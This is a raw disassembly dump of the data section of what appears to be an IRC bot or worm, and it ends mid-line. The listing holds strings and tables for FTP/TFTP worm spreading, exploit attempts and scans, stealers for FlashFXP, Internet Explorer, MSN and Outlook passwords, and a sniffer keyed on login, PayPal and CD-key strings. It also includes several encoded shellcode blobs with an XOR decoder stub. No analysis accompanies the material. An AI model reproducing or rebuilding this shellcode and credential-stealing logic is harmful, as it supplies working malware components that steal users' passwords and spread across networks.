dword_41C6A0 dd 163AE8h ; DATA XREF: sub_41113B+16Br dd 2 dup(0) dword_41C6AC dd 0A0D20h ; DATA XREF: sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: .data:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: .data:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: .data:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: .data:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r dd offset dword_41CC40 dd 0 dd offset dword_41CC2C dd offset dword_41CC20 align 8 or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41CBDC dd 808FD6DAh, 2 dup(0) ; DATA XREF: .data:0041CBC8o ; .data:0041DA90o dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; DATA XREF: .data:0041CBC4o ; .data:0041DA8Co dd 8284D6D3h, 0A9h, 0 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0) dword_41CC20 dd 808ED7D7h, 2 dup(0) ; DATA XREF: .data:0041CBB0o ; .data:0041DA78o dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0 ; DATA XREF: .data:0041CBACo ; .data:0041DA74o dword_41CC40 dd 8381DED3h, 2 dup(0) ; DATA XREF: .data:0041CBA4o ; .data:off_41DA6Co dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0) ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA68o dword_41CC64 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC68 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC6C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CCD0 db 86h ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 85h, 0D8h, 0DDh dd 0AFh, 2 dup(0) dd 0D3000000h, 82D5h, 3 dup(0) db 2 dup(0) dword_41CCF6 dd 9BA448F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCFA dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0) dd 82D2D600h, 4 dup(0) dd 0A6726BFDh, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CD80 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CD88 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CD90 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D268 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D42C dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D434 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D43C dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D49C dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6FC dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D758 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" dd 0 dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D810 dd offset dword_41D86C ; DATA XREF: sub_415EB7+98o align 8 dd offset dword_41D864 align 10h dd offset dword_41D85C align 8 dd offset dword_41D854 align 10h dd offset dword_41D84C align 8 dd offset dword_41D844 dd 2 dup(0) dword_41D844 dd 54495551h, 20h ; DATA XREF: .data:0041D838o dword_41D84C dd 54524150h, 20h ; DATA XREF: .data:0041D830o dword_41D854 dd 4E494F4Ah, 20h ; DATA XREF: .data:0041D828o dword_41D85C dd 49504F54h, 2043h ; DATA XREF: .data:0041D820o dword_41D864 dd 49544F4Eh, 204543h ; DATA XREF: .data:0041D818o dword_41D86C dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_41D810o aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo align 4 aServU db 'serv u',0 ; DATA XREF: .data:0041D7F4o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041D7ECo align 4 aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo align 4 aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o align 4 aCdKey db 'cd key',0 ; DATA XREF: .data:0041D788o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:0041D780o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o align 4 aAuth db 'auth ',0 ; DATA XREF: .data:0041D768o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o align 4 aLogin_0 db 'login ',0 ; DATA XREF: .data:off_41D758o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co aPass_1 db 'pass=',0 ; DATA XREF: .data:0041D744o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041D71Co aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .data:0041D704o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o align 10h aUser_1 db 'user ',0 ; DATA XREF: .data:off_41D6FCo align 4 dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h dd 0B4ACFFE6h, 2 dup(0) dword_41DA48 dd 0A1C21D0Eh ; DATA XREF: sub_40A9CF+843r ; sub_4167F1+54r ... dword_41DA4C dd 0D6AF099Eh ; DATA XREF: sub_4167F1+4Cr dword_41DA50 dd 0ED38F9D8h ; DATA XREF: sub_4167F1+41r dword_41DA54 dd 5D58CED8h ; DATA XREF: sub_4167F1+3Br dd 0 off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... dd 2 dup(0) off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA6C dd offset dword_41CC40 ; DATA XREF: sub_40CF2F+B8r dword_41DA70 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CC2C dd offset dword_41CC20 align 10h or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DAB4 dd 73616C23h, 74h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 85h, 0D8h, 0DFh dd 0F1h, 1Eh dup(0) byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC34 dd 3430032Eh, 2036202h, 